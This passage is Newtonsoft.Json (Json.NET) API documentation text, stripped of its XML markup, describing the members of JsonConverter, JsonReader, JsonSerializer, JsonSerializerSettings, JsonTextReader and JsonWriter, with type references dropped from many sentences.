the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Gets a value indicating whether this can read JSON. + + true if this can read JSON; otherwise, false. + + + + Gets a value indicating whether this can write JSON. + + true if this can write JSON; otherwise, false. + + + + Converts an object to and from JSON. + + The object type to convert. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Writes the JSON representation of the object. + + The to write to. + The value. + The calling serializer. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. + The calling serializer. + The object value. + + + + Reads the JSON representation of the object. + + The to read from. + Type of the object. + The existing value of object being read. If there is no existing value then null will be used. + The existing value has a value. + The calling serializer. + The object value. + + + + Determines whether this instance can convert the specified object type. + + Type of the object. + + true if this instance can convert the specified object type; otherwise, false. + + + + + Instructs the to use the specified when serializing the member or class. + + + + + Gets the of the . + + The of the . + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + + + + + Initializes a new instance of the class. + + Type of the . + + + + Initializes a new instance of the class. + + Type of the . + Parameter list to use when constructing the . Can be null. + + + + Represents a collection of . + + + + + Instructs the how to serialize the collection. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + The exception thrown when an error occurs during JSON serialization or deserialization. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + Instructs the to deserialize properties with no matching class member into the specified collection + and write values during serialization. + + + + + Gets or sets a value that indicates whether to write extension data when serializing the object. + + + true to write extension data when serializing the object; otherwise, false. The default is true. + + + + + Gets or sets a value that indicates whether to read extension data when deserializing the object. + + + true to read extension data when deserializing the object; otherwise, false. The default is true. + + + + + Initializes a new instance of the class. + + + + + Instructs the not to serialize the public field or public read/write property value. + + + + + Base class for a table of atomized string objects. + + + + + Gets a string containing the same characters as the specified range of characters in the given array. + + The character array containing the name to find. + The zero-based index into the array specifying the first character of the name. + The number of characters in the name. + A string containing the same characters as the specified range of characters in the given array. + + + + Instructs the how to serialize the object. + + + + + Gets or sets the member serialization. + + The member serialization. + + + + Gets or sets the missing member handling used when deserializing this object. + + The missing member handling. + + + + Gets or sets how the object's properties with null values are handled during serialization and deserialization. + + How the object's properties with null values are handled during serialization and deserialization. + + + + Gets or sets a value that indicates whether the object's properties are required. + + + A value indicating whether the object's properties are required. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified member serialization. + + The member serialization. + + + + Initializes a new instance of the class with the specified container Id. + + The container Id. + + + + Instructs the to always serialize the member with the specified name. + + + + + Gets or sets the type used when serializing the property's collection items. + + The collection's items type. + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonProperty(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets the of the . + + The of the . + + + + The parameter list to use when constructing the described by . + If null, the default constructor is used. + When non-null, there must be a constructor defined in the that exactly matches the number, + order, and type of these parameters. + + + + [JsonProperty(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, "Four" })] + + + + + + Gets or sets the null value handling used when serializing this property. + + The null value handling. + + + + Gets or sets the default value handling used when serializing this property. + + The default value handling. + + + + Gets or sets the reference loop handling used when serializing this property. + + The reference loop handling. + + + + Gets or sets the object creation handling used when deserializing this property. + + The object creation handling. + + + + Gets or sets the type name handling used when serializing this property. + + The type name handling. + + + + Gets or sets whether this property's value is serialized as a reference. + + Whether this property's value is serialized as a reference. + + + + Gets or sets the order of serialization of a member. + + The numeric order of serialization. + + + + Gets or sets a value indicating whether this property is required. + + + A value indicating whether this property is required. + + + + + Gets or sets the name of the property. + + The name of the property. + + + + Gets or sets the reference loop handling used when serializing the property's collection items. + + The collection's items reference loop handling. + + + + Gets or sets the type name handling used when serializing the property's collection items. + + The collection's items type name handling. + + + + Gets or sets whether this property's collection items are serialized as a reference. + + Whether this property's collection items are serialized as a reference. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class with the specified name. + + Name of the property. + + + + Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. + + + + + Asynchronously reads the next JSON token from the source. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns true if the next token was read successfully; false if there are no more tokens to read. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously skips the children of the current token. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a []. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the []. This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously reads the next JSON token from the source as a . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the . This result will be null at the end of an array. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Specifies the state of the reader. + + + + + A read method has not been called. + + + + + The end of the file has been reached successfully. + + + + + Reader is at a property. + + + + + Reader is at the start of an object. + + + + + Reader is in an object. + + + + + Reader is at the start of an array. + + + + + Reader is in an array. + + + + + The method has been called. + + + + + Reader has just read a value. + + + + + Reader is at the start of a constructor. + + + + + Reader is in a constructor. + + + + + An error occurred that prevents the read operation from continuing. + + + + + The end of the file has been reached successfully. + + + + + Gets the current reader state. + + The current reader state. + + + + Gets or sets a value indicating whether the source should be closed when this reader is closed. + + + true to close the source when this reader is closed; otherwise false. The default is true. + + + + + Gets or sets a value indicating whether multiple pieces of JSON content can + be read from a continuous stream without erroring. + + + true to support reading multiple pieces of JSON content; otherwise false. + The default is false. + + + + + Gets the quotation mark character used to enclose the value of a string. + + + + + Gets or sets how time zones are handled when reading JSON. + + + + + Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. + + + + + Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + + + + + Gets or sets how custom date formatted strings are parsed when reading JSON. + + + + + Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . + A null value means there is no maximum. + The default value is 64. + + + + + Gets the type of the current JSON token. + + + + + Gets the text value of the current JSON token. + + + + + Gets the .NET type for the current JSON token. + + + + + Gets the depth of the current token in the JSON document. + + The depth of the current token in the JSON document. + + + + Gets the path of the current JSON token. + + + + + Gets or sets the culture used when reading JSON. Defaults to . + + + + + Initializes a new instance of the class. + + + + + Reads the next JSON token from the source. + + true if the next token was read successfully; false if there are no more tokens to read. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a []. + + A [] or null if the next JSON token is null. This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the source as a of . + + A of . This method will return null at the end of an array. + + + + Skips the children of the current token. + + + + + Sets the current token. + + The new token. + + + + Sets the current token and value. + + The new token. + The value. + + + + Sets the current token and value. + + The new token. + The value. + A flag indicating whether the position index inside an array should be updated. + + + + Sets the state based on current token type. + + + + + Releases unmanaged and - optionally - managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Changes the reader's state to . + If is set to true, the source is also closed. + + + + + The exception thrown when an error occurs while reading JSON text. + + + + + Gets the line number indicating where the error occurred. + + The line number indicating where the error occurred. + + + + Gets the line position indicating where the error occurred. + + The line position indicating where the error occurred. + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + Initializes a new instance of the class + with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The path to the JSON where the error occurred. + The line number indicating where the error occurred. + The line position indicating where the error occurred. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Instructs the to always serialize the member, and to require that the member has a value. + + + + + The exception thrown when an error occurs during JSON serialization or deserialization. + + + + + Gets the line number indicating where the error occurred. + + The line number indicating where the error occurred. + + + + Gets the line position indicating where the error occurred. + + The line position indicating where the error occurred. + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + Initializes a new instance of the class + with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The path to the JSON where the error occurred. + The line number indicating where the error occurred. + The line position indicating where the error occurred. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Serializes and deserializes objects into and from the JSON format. + The enables you to control how objects are encoded into JSON. + + + + + Occurs when the errors during serialization and deserialization. + + + + + Gets or sets the used by the serializer when resolving references. + + + + + Gets or sets the used by the serializer when resolving type names. + + + + + Gets or sets the used by the serializer when resolving type names. + + + + + Gets or sets the used by the serializer when writing trace messages. + + The trace writer. + + + + Gets or sets the equality comparer used by the serializer when comparing references. + + The equality comparer. + + + + Gets or sets how type name writing and reading is handled by the serializer. + The default value is . + + + should be used with caution when your application deserializes JSON from an external source. + Incoming types should be validated with a custom + when deserializing with a value other than . + + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how object references are preserved by the serializer. + The default value is . + + + + + Gets or sets how reference loops (e.g. a class referencing itself) is handled. + The default value is . + + + + + Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. + The default value is . + + + + + Gets or sets how null values are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how default values are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how objects are created during deserialization. + The default value is . + + The object creation handling. + + + + Gets or sets how constructors are used during deserialization. + The default value is . + + The constructor handling. + + + + Gets or sets how metadata properties are used during deserialization. + The default value is . + + The metadata properties handling. + + + + Gets a collection that will be used during serialization. + + Collection that will be used during serialization. + + + + Gets or sets the contract resolver used by the serializer when + serializing .NET objects to JSON and vice versa. + + + + + Gets or sets the used by the serializer when invoking serialization callback methods. + + The context. + + + + Indicates how JSON text output is formatted. + The default value is . + + + + + Gets or sets how dates are written to JSON text. + The default value is . + + + + + Gets or sets how time zones are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. + The default value is . + + + + + Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + The default value is . + + + + + Gets or sets how special floating point numbers, e.g. , + and , + are written as JSON text. + The default value is . + + + + + Gets or sets how strings are escaped when writing JSON text. + The default value is . + + + + + Gets or sets how and values are formatted when writing JSON text, + and the expected date format when reading JSON text. + The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". + + + + + Gets or sets the culture used when reading JSON. + The default value is . + + + + + Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . + A null value means there is no maximum. + The default value is 64. + + + + + Gets a value indicating whether there will be a check for additional JSON content after deserializing an object. + The default value is false. + + + true if there will be a check for additional JSON content after deserializing an object; otherwise, false. + + + + + Initializes a new instance of the class. + + + + + Creates a new instance. + The will not use default settings + from . + + + A new instance. + The will not use default settings + from . + + + + + Creates a new instance using the specified . + The will not use default settings + from . + + The settings to be applied to the . + + A new instance using the specified . + The will not use default settings + from . + + + + + Creates a new instance. + The will use default settings + from . + + + A new instance. + The will use default settings + from . + + + + + Creates a new instance using the specified . + The will use default settings + from as well as the specified . + + The settings to be applied to the . + + A new instance using the specified . + The will use default settings + from as well as the specified . + + + + + Populates the JSON values onto the target object. + + The that contains the JSON structure to read values from. + The target object to populate values onto. + + + + Populates the JSON values onto the target object. + + The that contains the JSON structure to read values from. + The target object to populate values onto. + + + + Deserializes the JSON structure contained by the specified . + + The that contains the JSON structure to deserialize. + The being deserialized. + + + + Deserializes the JSON structure contained by the specified + into an instance of the specified type. + + The containing the object. + The of object being deserialized. + The instance of being deserialized. + + + + Deserializes the JSON structure contained by the specified + into an instance of the specified type. + + The containing the object. + The type of the object to deserialize. + The instance of being deserialized. + + + + Deserializes the JSON structure contained by the specified + into an instance of the specified type. + + The containing the object. + The of object being deserialized. + The instance of being deserialized. + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + The type of the value being serialized. + This parameter is used when is to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + The type of the value being serialized. + This parameter is used when is Auto to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + + + Specifies the settings on a object. + + + + + Gets or sets how reference loops (e.g. a class referencing itself) are handled. + The default value is . + + Reference loop handling. + + + + Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. + The default value is . + + Missing member handling. + + + + Gets or sets how objects are created during deserialization. + The default value is . + + The object creation handling. + + + + Gets or sets how null values are handled during serialization and deserialization. + The default value is . + + Null value handling. + + + + Gets or sets how default values are handled during serialization and deserialization. + The default value is . + + The default value handling. + + + + Gets or sets a collection that will be used during serialization. + + The converters. + + + + Gets or sets how object references are preserved by the serializer. + The default value is . + + The preserve references handling. + + + + Gets or sets how type name writing and reading is handled by the serializer. + The default value is . + + + should be used with caution when your application deserializes JSON from an external source. + Incoming types should be validated with a custom + when deserializing with a value other than . + + The type name handling. + + + + Gets or sets how metadata properties are used during deserialization. + The default value is . + + The metadata properties handling. + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how constructors are used during deserialization. + The default value is . + + The constructor handling. + + + + Gets or sets the contract resolver used by the serializer when + serializing .NET objects to JSON and vice versa. + + The contract resolver. + + + + Gets or sets the equality comparer used by the serializer when comparing references. + + The equality comparer. + + + + Gets or sets the used by the serializer when resolving references. + + The reference resolver. + + + + Gets or sets a function that creates the used by the serializer when resolving references. + + A function that creates the used by the serializer when resolving references. + + + + Gets or sets the used by the serializer when writing trace messages. + + The trace writer. + + + + Gets or sets the used by the serializer when resolving type names. + + The binder. + + + + Gets or sets the used by the serializer when resolving type names. + + The binder. + + + + Gets or sets the error handler called during serialization and deserialization. + + The error handler called during serialization and deserialization. + + + + Gets or sets the used by the serializer when invoking serialization callback methods. + + The context. + + + + Gets or sets how and values are formatted when writing JSON text, + and the expected date format when reading JSON text. + The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". + + + + + Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . + A null value means there is no maximum. + The default value is 64. + + + + + Indicates how JSON text output is formatted. + The default value is . + + + + + Gets or sets how dates are written to JSON text. + The default value is . + + + + + Gets or sets how time zones are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. + The default value is . + + + + + Gets or sets how special floating point numbers, e.g. , + and , + are written as JSON. + The default value is . + + + + + Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + The default value is . + + + + + Gets or sets how strings are escaped when writing JSON text. + The default value is . + + + + + Gets or sets the culture used when reading JSON. + The default value is . + + + + + Gets a value indicating whether there will be a check for additional content after deserializing an object. + The default value is false. + + + true if there will be a check for additional content after deserializing an object; otherwise, false. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + using values copied from the passed in . + + + + + Represents a reader that provides fast, non-cached, forward-only access to JSON text data. + + + + + Asynchronously reads the next JSON token from the source. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns true if the next token was read successfully; false if there are no more tokens to read. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a []. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the []. This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Initializes a new instance of the class with the specified . + + The containing the JSON data to read. + + + + Gets or sets the reader's property name table. + + + + + Gets or sets the reader's character buffer pool. + + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a []. + + A [] or null if the next JSON token is null. This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Changes the reader's state to . + If is set to true, the underlying is also closed. + + + + + Gets a value indicating whether the class can return line information. + + + true if and can be provided; otherwise, false. + + + + + Gets the current line number. + + + The current line number or 0 if no line information is available (for example, returns false). + + + + + Gets the current line position. + + + The current line position or 0 if no line information is available (for example, returns false). + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. + + + + + Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the JSON value delimiter. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the specified end token. + + The end token to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously closes this writer. + If is set to true, the destination is also closed. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the end of the current JSON object or array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes indent characters. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes an indent space. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes raw JSON without changing the writer's state. + + The raw JSON to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a null value. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the property name of a name/value pair of a JSON object. + + The name of the property. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the property name of a name/value pair of a JSON object. + + The name of the property. + A flag to indicate whether the text should be escaped when it is written as a JSON property name. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the beginning of a JSON array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the beginning of a JSON object. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the start of a constructor with the given name. + + The name of the constructor. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes an undefined value. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the given white space. + + The string of white space characters. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a [] value. + + The [] value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The 